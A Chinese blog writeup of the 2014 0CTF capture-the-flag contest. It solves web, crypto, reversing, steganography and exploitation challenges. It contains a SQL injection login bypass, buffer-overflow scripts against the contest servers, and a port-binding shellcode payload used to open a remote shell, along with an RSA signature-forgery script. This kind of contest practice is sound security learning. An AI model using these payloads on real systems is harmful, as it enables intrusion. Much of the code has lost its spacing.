0ops CTF/0CTF writeup

作者: tmdsb38 | 来源:发表于2015-10-31 19:59 被阅读651次

×00 0CTF

『第一届0ops信息安全技术挑战赛，即0ops Capture The Flag，以下简称0CTF。 0CTF由上海交通大学网络信息中心和上海市信息安全行业协会指导，由上海交通大学信息网络安全协会承办，是2014信息安全技能竞赛校园赛首站。0CTF注册与参赛地址为http://ctf.0ops.net。比赛时间为北京时间2014年3月1日至2日，每天7时至23时，共32小时。』

看官方微博，这个比赛本来是面向上交校内的，就是校外可以做题但是不发奖，后来也给校外发奖了，整体感觉还不错，好多大牛过来刷题了，没有挤进前六名去……不过当做BCTF的一次练手吧，平时都在实验室打酱油，做个比赛还是可以学到不少东西的。写个Blog记录一下过程，题目只做简单描述，具体可以看官方页面http://ctf.0ops.net，要登录才能看到题目，不知道现在还能否注册。

0×01 [Web]Spy

[题]简单的Web题目，总共四关，每一关都要输入数字，并保证输入的数字比服务器给的大。

1. text框最多输入3位数字，服务器随机返回4位数字，这个审查元素改一下maxlength属性就好了；

2. text框最多输入3位数字，服务器随机返回数字，这个改maxlength属性不然过，但是发现服务器偶尔会返回三位数字，这样的话一直提交999，总会过的；

3. 看谁出的数的倒数比较小谁就算赢！输入-1直接过了；

4. 每人给出一个数，然后比谁的数的EVIL值大。啥是EVIL值？就是该数字每位ASCII码的乘积呗，比如’123′这个数，三位数字的ASCII码分别是49, 50, 51乘起来是124950，这个就是123这个数的EVIL值。这个题最多输入6位，服务器的EVIL值很大，不过输入0xFFFF就过了；

0×02 [Crypto]Classic

[题]小丁丁发现自己置身于一个诡异的房间，面前只有一扇刻着奇怪字符的门。他发现门边上还有一道密码锁，似乎要输入密码才能开门。。4esxcft5 rdcvgt 6tfc78uhg 098ukmnb

[解]这个比较诡异……通过键盘布局解密：0ops

通过键盘布局解密

0×03 [Misc]IPv4

[题]截止到2014.2.23，亚太互联网络信息中心分配给中国大陆的IPv4地址是多少个？

[解]下载文件http://ftp.apnic.net/stats/apnic/2014/delegated-apnic-20140223.gz进行统计分析。文件格式为：

apnic|CN|ipv4|1.2.2.0|256|20110331|assigned

我用Python解析的，读入每行数据split一下就好了，得到330393088。

0×04 [Exploit]Welcome

[题]在服务器202.120.7.6:32323上运行了一个程序，溢出拿KEY。

[解]IDA分析程序，B函数可以溢出：

char*__cdecl B(){char*result;// eax@1chars;// [sp+1Ch] [bp-40Ch]@1intv2;// [sp+20h] [bp-408h]@1__int16 v3;// [sp+24h] [bp-404h]@1charv4;// [sp+26h] [bp-402h]@1intv5;// [sp+41Ch] [bp-Ch]@1v5=0;memset(&s,0, 1016u);puts("Welcome to 0ops CTF.");fflush(stdout);gets(&s);result=&s;*(_DWORD*)&s=*(_DWORD*)"HelloKitty";v2=*(_DWORD*)&aHellokitty[4];// ov3=*(_WORD*)&aHellokitty[8];// tv4=aHellokitty[10];// \0if(v5)// 覆盖到v5即可// 1016+4+2+1=1023 多覆盖一个byte即可{fd=(int)fopen("./flag.txt","r");__isoc99_fscanf(fd,"%s\n",&s);puts(&s);result=(char*)fflush(stdout);}returnresult;}

开始忘了加\n，郁闷了好久……

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(('202.120.7.6',32323))printsock.recv(1024)sock.send('a'*1025+'\n')# 一定要有\nprint"send done"printsock.recv(2048)sock.close()

0×05 [Web]System

[题]小丁丁在无意中发现了一个对方的内部登陆系统，可惜他不知道用户名和密码，该怎么办呢？

[解]简单的SQL注入，用户名输入下面的代码即可：

'or 1=1#

0×06 [Crypto]Dict

[题]小丁丁一直潜伏在邪恶黑客组织的总部大楼附近。他知道邪恶黑客组织的内部密码Hash方式是咸的（Salted），但是没有正确的通行口令他无法潜入。他每天都在仔细分析这栋大楼的办公室垃圾，想要从中找到一些线索。这一次，他捡到了某个员工的备忘小便签：

WORD is a common english word

len(WORD) = 4

md5(WORD + '0ops!^_^') = 'e79dc003a53edc551c5ef8364e97b2e2'

HASH = md5(WORD)

FLAG = 0ops{HASH}

[解]四个字母组成的英语单词，这个直接枚举并比较MD5值就行了，很快就找到了单词join。

0×07 [Crypto]JohnCode

[题]小丁丁伪装成内部员工潜入了邪恶黑客组织，在群邮件中，他得知他们正在开发一套新的加密算法JohnCode。小丁丁看到了群共享的源代码，陷入了深深的沉思。你能帮他破解这个囧呆马吗？

eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f=

JohnCode加密算法源代码：

importhashlibdefjohncode(msg,key):token=hashlib.md5(key).digest()res=""password="0ops Capture The Flag"forcinmsg:n=ord(c)^0xde^0xad^0xbe^0xefforiinxrange(16):n ^=ord(password[i])^ord(token[i])res +=chr(n)token=hashlib.md5(chr(n)).digest()returnres.encode('base64').encode('rot13')

[解]这个可以直接逆推的，因为每一轮的token都是上一轮的字符的MD5值。不过因为不知道key，所以第一位没法解出来，但是题目说了FLAG的格式，所以第一位是0，解密的代码如下：

importhashlibdefgetConstXor():return0xde^0xad^0xbe^0xefdefgetPwdXor(): password="0ops Capture The Flag"res=0foriinxrange(16): res ^=ord(password[i])returnresdefgetMd5Xor(val):token=hashlib.md5(val).digest()res=0foriinxrange(16): res ^=ord(token[i])returnresif__name__=="__main__": ctftext="eaxRa8RO8gyXLs/5lZO2jUk32bGGN9DoA5hi1MBswPnWw28pk2f="ciphertext=ctftext.decode("rot13").decode("base64")ctlen=len(ciphertext)constXor=getConstXor()pwdXor=getPwdXor()i=ctlen -1msg=""whilei>=1: tokenXor=getMd5Xor(ciphertext[i-1])msg=msg +chr(ord(ciphertext[i])^ tokenXor ^ pwdXor ^ constXor)i=i -1# msg = }4660b46c5eb87b6e4b618a2804b40ee4{spomsg=msg[::-1]# msg = ops{4ee04b4082a816b4e6b78be5c64b0664}# 答案是 0ops{4ee04b4082a816b4e6b78be5c64b0664}

0×08 [Reverse]Waltz

[题]APK逆向分析：http://ctf.0ops.net/attachment/download/EndlessWaltz.zip

[解]解压APK得到classes.dex，然后使用dex2jar得到jar文件，然后使用JD-GUI就可以看Java代码了，就是几个字符串替换和BASE64加解密。

0×09 [Misc]FakeUser

[题]小丁丁有隔天备份ctf.0ops.net数据库的习惯，就在比赛开始前一天，小丁丁突然发现备份似乎被人修改了，似乎额外增加了几个账户。可是小丁丁已经不记得有哪些账户了，这可怎么办？

注意：此题的FLAG是取所有虚假账户的ID之和，求MD5，再拼上0ops{…} 即0ops{md5(sum of IDs of fake users)}

[解]将SQL文件导入数据库，提示换行符不一致！所有换行符为\r\n的都是假的账户。

0x0A [Exploit]Login

[题]溢出服务器上的一个程序，位于202.120.7.110:55632

[解]getpath函数中，gets可以溢出，最后调用了strdup，这个函数会分配一段空间保存输入的内容，把返回地址覆盖为call eax的地址，那么返回的时候就会执行shellcode了。

char*__cdecl getpath(){chars;// [sp+8h] [bp-25Ch]@1 [604]void*v2;// [sp+260h] [bp-4h]@1unsignedintv3;// [sp+268h] [bp+4h]@1printf("Input Name Please: ");fflush(stdout);gets(&s);// 获取输入v2=(void*)v3;// v3 == 608if((v3&0xB0000000)==0xB0000000)// 覆盖返回地址, 返回地址存入v3{printf("HEHE (%p)\n", v2);_exit(1);}printf("Got Name %s\n",&s);returnstrdup(&s);// 分配空间复制字符串, 返回值指向复制的字符串}

call eax可以随便找一个：

.text:08048A4Bcalleax; __CTOR_LIST__

不过我找了好多Shellcode都不管用……最后找了个开端口的，执行之后nc连接，cat flag.txt即可。

deftestServer():# http://www.shell-storm.org/shellcode/files/shellcode-370.php# port : 5074shellcode=("\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5f\x81\xef\xdf\xff\xff"+"\xff\x57\x5e\x29\xc9\x80\xc1\xb8\x8a\x07\x2c\x41\xc0\xe0\x04"+"\x47\x02\x07\x2c\x41\x88\x06\x46\x47\x49\xe2\xedDBMAFAEAIJMD"+"FAEAFAIJOBLAGGMNIADBNCFCGGGIBDNCEDGGFDIJOBGKBAFBFAIJOBLAGGMN"+"IAEAIJEECEAEEDEDLAGGMNIAIDMEAMFCFCEDLAGGMNIAJDIJNBLADPMNIAEB"+"IAPJADHFPGFCGIGOCPHDGIGICPCPGCGJIJODFCFDIJOBLAALMNIA")sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#sock.connect(('192.168.218.129', 55632))sock.connect(('202.120.7.110',55632))printsock.recv(1024)#sock.send('A'*608+'\xB0'*4+'\n')sock.send(shellcode +'\x90'*(608-len(shellcode))+'\x4B\x8A\x04\x08'+'\n')print"send done"printsock.recv(2048)printsock.recv(2048)whileTrue: acmd=raw_input("CMD> ")sock.send(acmd)sock.send(acmd)printsock.recv(2048)time.sleep(0.1)

0x0B [Reverse]HackGate

[题]给定一个setup.exe，求KEY。

[解]setup.exe，是个安装包，要求输入密码才能安装。开始直接调试这个程序，发现根本断不下来，发现创建了子进程，于是调试子进程，发现用了MD5、SHA以及CRC32算法，后来差一下发现是个Inno Setup的安装包，然后我还找到了能够绕过密码直接提取文件的程序（当然找了好几个才发现一个叫做InnoExtractor的程序），于是直接把里面的EXE抠出来了，是g++编译的，我电脑装了还跑不起来，可能DLL版本不对。直接托IDA看字符串就找到KEY了……当然要稍微变换一下，key是0ops{EL_PSY_CONGROO}。其实找到的字符串是LE_PSY_CONGROO，我用Google搜的时候，提示我是EL_PSY_CONGROO。

El Psy Congroo在动画《命运石之门》播出之后才火起来的。

冈部伦太郎使用了很久用意义不明的话，能够自我暗示，使自己镇静下来。

不过有时候做这种题，没加密的话很容易偷懒的……（我这样会被鄙视吗？）

0x0C [Web]Signal

[题]绕过网站登陆。

[解]给提示了，这题和数据没关系，和PHP的一些检查方式有关系……审查元素，修改password字段名字（在name字段的值后面加上数组符[]），输入任意密码提交：

Please sign in

Remember me

0x0D [Crypto]RSASign

[题]小丁丁继续在邪恶组织总部探索。他发现组织内部有一个专用的身份签名系统。只要能拿到最高权限的账户签名，他就可以得到最高权限啦！幸运的是，小丁丁又一次拿到了它的源码。

[解]考察数论相关的知识了。

同余形式：若a % N = A 且 b % N = B，那么有(ab) % N = (AB) % N；

同理对于RSA有：若a^d % N = A 且 b^d % N = B，那么有[(a^d)*(b^d)] % N = (AB) % N；

现在服务器能够返回给定任意数据a，返回a^d % N的值A，如果能拿到0ops（假设转化为数值之和为c）的返回值：c^d % N = C，即拿到C的值就可以拿到KEY了。

a^d % N = A

b^d % N = B

c^d % N = C

分解c，假设c = a*b，那么有(A*B)≡C mod N，计算一下，c刚好能够分解，那么我们就可以从服务器拿回A和B了，如果知道了N，就可以拿到C了。不过对于这个题，拿到AB就已经够了，因为RSA签名验证就是(A*B)^e % N。不过N还是可以求出来的，大神提供的思路如下：

2^d % N = A

4^d % N = B 即 (2*2)^d % N = B

8^d % N = C 即 (2*2*2)^d % N = C

有M = GCD(A*A-B, A*A*A-C)

注意这里求出的M可能是kN，也就是是N的倍数，如果运气好就是N了，不然要多找几次。

下面是解题代码，会求出N。

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211importtimeimportsocketimportstringdefint2str(n): charset=string.digits+string.lettersp=len(charset)+1s=""whilen: s=s + charset[n%p-1]n /=preturns[::-1]defstr2int(s):"""

map

'0' => 1

'1' => 2

...

'9' => 10

'a' => 11

...

'z' => 36

'A' => 37

...

'Z' => 62

"""charset=string.digits+string.lettersp=len(charset)+1r=0forcins : r=r * p + charset.index(c)+1returnrdefgetFactor(): ops=str2int('0ops')a=b=0foriinrange(2,ops):ifops % i==0: a,b=i,ops/iprint"%d * %d = %d"%(a,b,ops)breaksa=int2str(a)sb=int2str(b)print"%d --> %s"%(a,sa)print"%d --> %s"%(b,sb)returnsa,sbdefgetAuthKey(s): sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock.connect(('202.120.7.5',38241))sock.recv(2048)time.sleep(0.5)sock.recv(2048)sock.send('1\n')# registersock.recv(2048)time.sleep(0.1)sock.send(s +'\n')sock.recv(2048)authKey=sock.recv(2048)sock.close()print"Username: %s"% sprintauthKeyreturnauthKey.strip()defgetGCD(a,b):ifa")"""

163 * 2153 = 350939

163 --> 1A

2153 --> xa

Username: 1A

21533328170418378084667829333241475137237189840136413341659043482256097510873406

80778085936300557220305925866245746162556818225595325428891118543277776000224693

94153804439920506389342914152518686076142925020261268165134548156640326678913058

32183740222011549816792593422992831392821041521696985409510603614521305240365730

69993107868111616188102944903092890088304093759066757333321808861343015436285431

83423748039157813181828728529338570079483125070881458603012233228629889625998610

77837188029428966569684473488137929071603810228867022108243630344706359935318974

659363579802989602917857042437294261061356335491933174051

Username: xa

25488744768722406399022993210073505421411878358623824552700157019662731668788913

29696762464701716291111290751757383920248775850436486970351641724147165259120289

88289621607449227239688925130507701532735104032594188602562364841462980159493017

96811103500139479056818978083991583831585928689088971640016014467405404108823622

37555222332241091523009935298355178015132729923435885189369662045864007701562485

91622365205822004617452169129111881126526480558419450732992640082382159767752794

22962647696103667805075981389049729228576300327608699296783543259431738187799821

731862053896502779740294350970620551593589183858097468202

authKey[1A] * authKey[xa] =

54885750575693426083919531510934514350135708923403345930121911623724478234602268

27979542454055898817768822046755196649628234154462632065635709315217301905443578

15053213360938990523525651515977264898624869669693382733171731889768054632085639

40081552196281561143501153944763925013800347447018887135453722798415734016750151

92184836862276059791184086691283031159039851810771777962934768576429259231364133

41834110889564427268927559492552852974023169921476230425928104005016422929418070

39593591140411537137125967387946130071547972790632118133896625499729357543308816

65448091364193997682005248870200041504023381016446066909023878970529319079800086

13808551432638083920706237377055192075931504657100138782762634126828570096626000

21740987778485284470130972040488510155441233144261202690270073340308044559909236

88022604483095012235643404016986395825071264788489401081410846239399008256383444

27783542166239774991615310457893021925122329284187579913245305211704054543963112

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13539418987344763704144532367013919237191922725980132605207837102132907895624432

66607899392071332859380943060605852067363066333823230424467584589398587263860042

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Username: 1

22162592382709279239675078287209487170257682361511277398481832147372823215451206

29012234993254397116315506291018552849006256580425529369872729697550238374739494

48772829679652923225545207924144536536130669962018422146411134841875616397357134

29568880006878286534623642415790091356045364443763159224635646171861388242085726

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68707812547485603274962190456901154898407556530407582248442240935713344954001743

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Username: 3

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Username: 7

52482204868424933403557570627260487449813958439686870244092838847494332548446073

45602512803692746763888792435320054869228129209697946733034825577367868675415020

40650190376660294128759355299952166682183127812142558455298025750832300811952889

86463990447494116385230643606657822311838848399664307028247794759330657294253921

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69944991228386536399164224058905493762703168633149946839305007134191114427394941

72485062533747457130652067041438480378568459966504351977884309118621219929633189

06584017724632422879044239426508028014318144849268674008

N =

29610211050329808378232545552699749436594480437122054986865680099884890513872850

75525661987282310273914255054387679145058167010821716155270450004228110100462580

61209364757602907910617119263438600005472312713489338816033264709490529535130190

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52716016867059810410289101671971086362182186474576259372154998140093546592864747

64210175590855355005120986623171403794224031596995562230659609347027503141992475

47770245690981730429515128740909571870394089884652117078715034645606613009469198

724251507254450039197449345504428016016268512178144465269

authKey[0ops] =

13110205844472582078508561586009616010511440950399464874188864349291652777783298

99881232052318532954986646824467063842227828770517196037207171044544695490940912

12423450401458576493793741404979648318705923086553715197114747437125272098839105

53827198360050895608734309931663997144339422020764921090587199992980596843329551

10835974076198749267323036625564956690953923683306767300917098380913656898698173

63407386614802670044895487509786218738456054495098285103711261589674380370321433

35083314522191405782002192706825562995912444112388730499459139167637817864843651

545728753985843329656352477751861819954384211132836924156

You win!

Flag is: 0ops{03e2bca28698ca3b2b8b50c594ae4e89}

"""

0x0E [Misc]Game

[题]小丁丁找到邪恶组织的人想要和他们在安全技术上一较高下，然而却被告知你太嫩了，我们先不玩别的先来盘游戏吧，如果赢了我，再来谈技术的问题也不迟啊哈哈哈哈哈。

[解]这个是个取石子游戏，大家应该见过，OJ上面也会常见，虽然我连这个也不会，不过搜一下还是有很多解决方案的。服务器会返回N堆石子给你，你要最后面拿光所有的石子，你就赢了这一个round。

也就是Nimm Game，有k堆石子，两个人轮流从某一堆取任意多的物品，规定每次至少取一个，多者不限。取走最后石子的人获胜。

引入一个概念，平衡状态，又称作奇异局势。当面对这个局势时则会失败。任意非平衡态经过一次操作可以变为平衡态。

每个玩家都会努力使自己抓完石子之后的局势为平衡，将这个平衡局势留给对方。因此，玩家A能够在初始为非平衡的

游戏中取胜，玩家B能够在初始为平衡的游戏中取胜。

最后一个奇异局势是(0,0...,0)。另一个奇异局势是(n,n,0...0)，只要对手总是和我拿走一样多的物品，最后会面对

(0,0...,0)。

奇异局势的判定：

对于一个普通的局势，如何判断其是不是奇异局势？对于一个局势(s1,s2,...sk)，对所有石子个数做位的异或运

算，s1^s2^s3^...^sk，如果结果为0，那么局势(s1,s2,...sk)就是奇异局势（平衡），否则就不是（非平衡）。

从二进制位的角度上说，奇异局势时，每一个bit位上1的个数都是偶数。

玩家的策略：

就是把面对的非奇异局势变为奇异局势留给对方。也就是从某一堆取出若干石子之后，使得每一个bit位上1的个数

都变为偶数，这样的取法一般不只有一种。可以将其中一堆的石子数变为其他堆石子数的位异或运算的值（如果这个值

比原来的石子数小的话）。

参见：http://blog.csdn.net/ojshilu/article/details/16812173

照着这个思路写了个脚本，但是比较蛋疼的是服务器每次只从一堆石头中取出一个，这样我也只能取出1个，而这样下来就严重拖慢了速度，而服务器最初设置了100个round，我跑了1个多小时才跑完50个round，然后管理员认为100轮太多了，就把服务器端了调整为50轮，于是我又跑了1个小时左右，中午吃完饭回来就返回了key了。

56#!/usr/bin/env python# -*- coding:utf-8 -*-importsocketimportsysdefparseInput(s): idx=s.find("I pick")# 过滤无关数据ifidx!=-1: s=s[idx:]idx=s.find("There are totally")# 过滤无关数据ifidx!=-1: s=s[idx:]lines=s.split('\n')res=[]forlinlines: l=l.strip()data=l.split(': ')iflen(data)==2anddata[0].find("Pile")!=-1: res.append(int(data[1]))returnresdefpickStone(s): l=len(s)maxCount=0idx=0foriinrange(0,l): tmp=0forjinrange(0,l):ifj==i:continuetmp=tmp ^ s[j]iftmp

0x0F [Misc]Girl

[题]图片隐写术

0CTF Misc Girl 图片隐写术

[解]图片无限放大之后会发现右上角有四个小点，这里面隐藏了信息，当然这里全是一堆红色，看起来相当的晃眼！！这里面的像素点存在色差，我们需要对其进行二值化处理。下图是截取的一个图，我给四个小点画了个圈，只是为了方便各位看官辨别。

图片隐写术

大家可以把原图下载下来放大之后，在信息隐藏区域取色就能看到色差（比如QQ截图工具就有取色功能）

正常的背景色RGB是(235,1,2)，四个边界点的RGB是(225,0,0)，鼠标在区域内移动的时候，有两个RGB值，分别是(235,1,2),(236,1,2)，看到了没，(235,1,2)就是背景色的RGB值。

刚开始以为这个是二维码，就把背景色设置为白色(255,255,255)，把四个边界点的颜色设置为蓝色(0,0,255)，把二维码中的颜色设置为黑色(0,0,0)，以为差不多就OK了，谁知道这货不是二维码，是二进制信息。

其实不是二维码

隐藏信息的区域我画了个圈，从图中可以看出，如果白色代表0，黑色代表1，我们转成二进制得到0×30和0x6F，这就是0和o，也就是Flag的前缀0ops了，完善一下代码就有key了。

65#!/usr/bin/env python# -*- coding:utf-8 -*-importstringfromPILimportImage"""

# It's not QR code :)

def showQRCode(fpath):

bmp = Image.open(fpath)

pix = bmp.load()

w, h = bmp.size

for x in xrange(0, w):

for y in xrange(0, h):

if pix[x, y] == (235,1,2):

pix[x, y] = (255,255,255)

elif pix[x, y] == (225,0,0):

pix[x, y] = (0, 0, 255)

elif pix[x, y] == (236, 1, 2):

pix[x, y] = (0, 0, 0)

else:

pix[x, y] = (255, 255, 255)

bmp.save(fpath)

"""defgetFlagHex(fpath): bmp=Image.open(fpath)pix=bmp.load()w,h=bmp.sizec=[]foryinxrange(0,h):forxinxrange(0,w):ifpix[x,y]==(225,0,0): c.append((x,y))flag=""foryinxrange(c[0][1]+1,c[2][1]): x=c[0][0]+1foriinxrange(0,4): ch=0forjinxrange(0,4): tmp=0ifpix[x+i*4+j,y]==(236,1,2): tmp=1ch=(ch<<1)+ tmp flag=flag +("%x"% ch)bmp.save(fpath)returnflagdefgetFlag(flagHex): flag=""tmp=0foriinxrange(0,len(flagHex)): val=string.hexdigits.index(flagHex[i])ifi&1: flag=flag +chr(tmp*16+ val)tmp=0else: tmp=valreturnflagif__name__=="__main__": flagHex=getFlagHex("girl.bmp")flag=getFlag(flagHex)raw_input(flag)

输出flag为：0ops{Never_giving_up!Fighting!!}

0×10 [Exploit]WebServer

[题]在服务器202.120.7.111:44774上运行了一个程序，提供奇怪的web服务，能处理你的HTTP请求。看看这个web服务里有没有什么非同寻常的秘密？注意：没有NX以及aslr。提供libc.so.6文件下载。

[解]这个是GOT表覆盖与printf格式化写任意内存漏洞，exploit-exercises上面的format最后一题和这个类似，不过只怪我当时候没有认真做题，这个题就没交了……囧rz，这个题有空再补上吧。

0×11 Rank List

这次的马甲是“栈溢出了”，排第八，被前排的大神挤下来了。我平时一般用另一个马甲，叫Wins0n